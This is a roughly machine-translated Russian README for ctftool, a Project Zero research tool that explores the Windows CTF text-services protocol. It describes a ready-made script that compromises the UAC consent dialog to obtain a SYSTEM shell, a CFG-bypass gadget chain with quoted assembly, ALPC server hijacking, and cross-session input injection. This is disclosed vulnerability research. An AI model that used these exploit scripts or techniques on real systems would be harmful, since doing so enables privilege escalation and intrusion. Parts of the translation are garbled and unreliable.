Просто хотите проверить системную эксплуатацию? Кликните сюда.

Это ctftool , интерактивная командная строка для экспериментов с CTF, малоизвестным протоколом, используемым в Windows для реализации текстовых служб. Это может быть полезно для изучения внутренних средств Windows, отладки сложных проблем с процессорами ввода текста и анализа безопасности Windows.
Можно написать простые сценарии с ctftool для автоматизации взаимодействия с клиентами CTF или серверами или выполнения простого пузырька.
Есть сообщение в блоге, которое сопровождает выпуск этого инструмента, доступного здесь.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool был протестирован в Windows 7, Windows 8 и Windows 10. Поддерживаются 32-битные и X64 версии, но X64 был протестирован более широко.
Для большинства команд есть онлайн -помощь, просто введите help , чтобы увидеть список команд и help <command> чтобы увидеть подробную помощь для конкретной команды.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
Первое, что вы захотите сделать, это подключиться к сеансу и посмотреть, какие клиенты подключены.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Затем вы можете экспериментировать, отправив и получая команды на сервер или любого из подключенных клиентов.
Если вы не хотите создавать его самостоятельно, посмотрите вкладку «Выпуск»
Я использовал GNU Make и Visual Studio 2019 для разработки ctftool . Поддерживаются только 32-разрядные сборки, так как это позволяет инструменту работать на окнах x86 и x64.
Если все зависимости установлены, просто ввод make в командной строке разработчика должно быть достаточно.
Я использую вариант «Инструменты настройки» Visual Studio, и единственные компоненты, которые я выбрал, - это MSVC, MSBUILD, CMAKE и SDK.
Этот проект использует подмодули для некоторых зависимостей, убедитесь, что вы используете такую команду для получения всего требуемого кода.
git submodule update --init --recursive
Примеры работают только на Windows 10 x64. Все платформы и версии, так как Windows XP затронуты, но в настоящее время не реализован POC.
Этот инструмент использовался для обнаружения многих критических проблем безопасности с протоколом CTF, который существовал на протяжении десятилетий.
Если вы просто хотите проверить эксплойт в Windows 10 X64 1903, запустите или дважды щелкните ctftool.exe и введите эту команду:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Это будет ждать, пока появится диалог UAC, поставит под угрозу его и запустите оболочку.
На самом деле, код эксплойта разделен на две стадии, которые вы можете использовать независимо. Например, вы можете поставить под угрозу процесс, принадлежащий пользователю в другом сеансе, используя дополнительные параметры для connect .
Большинство клиентов CTF могут быть скомпрометированы, так как ядро заставляет приложения, которые привлекают окна для загрузки уязвимой библиотеки.
Просто подключитесь к сеансу, выберите клиента для компромисса (используйте команды scan и thread или просто wait ), затем:
ctf> script .scriptsctf-exploit-common-win10.ctf
Создание цепочки прыжков CFG, которая работала на большинстве клиентов CTF, было довольно сложным. Есть два основных компонента для окончательного эксплойта: произвольный примитив, а затем настройка наших регистров для вызова LoadLibrary() .
Вы можете использовать
dumpbin /headers /loadconfigдля сброса целей в белом списке ветвей.
Мне нужен произвольный гаджет записи для создания объектов в предсказуемом месте. Лучшим удобным гаджетом, который я смог найти, было произвольное уменьшение DWORD в msvcrt!_init_time .
Это означает, что вместо того, чтобы просто устанавливать желаемые значения, мы должны продолжать уменьшаться, пока LSB не достигнет желаемого значения. Это большая работа, но нам никогда не приходится делать больше, чем (2^8 - 1) * len .

Используя этот примитив, я строю такой объект в каком -то неиспользованном пространстве пролавки в разделе .data . Он должен быть частью изображения, чтобы я мог предсказать, где оно будет отображено, так как в окнах рандомизация изображения.

Было (конечно) много произвольных гаджетов записи, проблема заключалась в восстановлении контроля над выполнением после записи. Это оказалось довольно сложным, и именно поэтому я застрял с уменьшением dword, а не чем -то более простым.
MSCTF вызывает все исключения, поэтому задача заключалась в том, чтобы найти произвольную запись, которая не испортила стек, так что SEH выжил или очень быстро разбился, не нанося никакого ущерба.
Гаджет msvcrt!_init_time был лучшим, что я мог найти, в нескольких инструкциях он не разобрался, не повреждая больше памяти. Это означает, что мы можем повторить это и бесконечно.
Я нашел два полезных гаджета для корректировки регистров, первым было:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
И второй был:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Объединяя эти два гаджета с объектом, который мы сформировали с нашим гаджетом, мы можем перенаправить выполнение на kernel32!LoadLibraryA , подпрыгивая между ними.
Это было сложно, но последовательность прыжков работает так:

Если вам интересно, я рекомендую посмотреть его в отладчике. Обратите внимание, что вам нужно будет использовать команду sxd av и sxd bpe , или отладчик остановится для каждой записи!
Помимо коррупции памяти, основной класс уязвимости, выявленный CTF, являются атаками редактирования сеансов . Обычно не разрешается непривилегированный процесс (например, низкая целостность) не разрешается отправлять данные ввода или чтения из высокого привилегированного процесса. Эта граница безопасности называется UIPI, пользовательским интерфейсом изоляции .
CTF нарушает эти предположения и позволяет беспрепятственным процессам отправлять вход в привилегированные процессы.
Насколько я знаю, есть некоторые требования к работе, насколько я знаю, она будет работать только в том случае, если у вас установлен язык отображения, который использует кончик ООП, процессор ввода текста вне процесса . Пользователи с языками ввода, которые используют IME (китайский, японский, корейский и т. Д.) И пользователи с инструментами A11Y, попадают в эту категорию.
Пример атаки включают ...
В каталоге сценариев есть пример сценария, который отправит вход в окно блокнота, чтобы продемонстрировать, как работают сеансы редактирования.

Поскольку между клиентами и серверами в протоколе CTF не существует аутентификации, злоумышленник с необходимыми привилегиями для записи в BaseNamedObjects может создать порт CTF ALPC и притворяться монитором.
Это позволяет обойти любые ограничения, применяемые монитором.
Если вы хотите экспериментировать с этой атакой, попробуйте команду hijack в ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
В протоколе CTF нет изоляции сеанса, любой процесс может подключаться к любому серверу CTF. Например, пользователь сервисов терминала может взаимодействовать с процессами любого другого пользователя, даже администратора.
Команда connect в ctftool поддерживает подключение к сеансам, не являющимся деко, если вы хотите экспериментировать с этой атакой.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
На момент написания статьи неизвестно, как Microsoft изменит протокол CTF в ответ на многочисленные дизайнерские недостатки, которые этот инструмент помог разоблачить.
По этой причине рассмотрите этот инструмент в состоянии подтверждения концепции.
Все версии Windows, так как Windows XP используют CTF на всех поддерживаемых платформах.
Хотя это не является частью базовой системы до XP, версии уже в Windows 98 и NT4 будут использовать CTF, если вы установили Microsoft Office.
ctftool поддерживает Windows 7, а затем на x86 и X64, но можно поддерживать более ранние версии и другие платформы, и вклады будут оценены.
Microsoft не документирует, что означает CTF, это не объясняется ни в одной из документации текстовых служб, образцов SDK, имен символов, файлов заголовков или где -либо еще. Моя теория заключается в том, что это из CTextFramework , что вы можете назвать классом в венгерской нотации.
Есть некоторые веб -сайты, которые утверждают, что
ctfmonимеет какое -то отношение к шрифтам четкого типа или структурой совместного перевода Azure. Они ошибаются.
Обновление: Джейк Нельсон находит доказательства «общей текстовой структуры»
Tavis Ormandy [email protected]
Весь исходный код - Apache 2.0, см. Файл лицензии для получения подробной информации.
Следующие компоненты импортируются сторонние проекты.
GetProcAddress() для 64-битных модулей из 32-битного процесса. Это используется в команде symbol и позволяет тому же двоичному файлу работать на X64 и X86.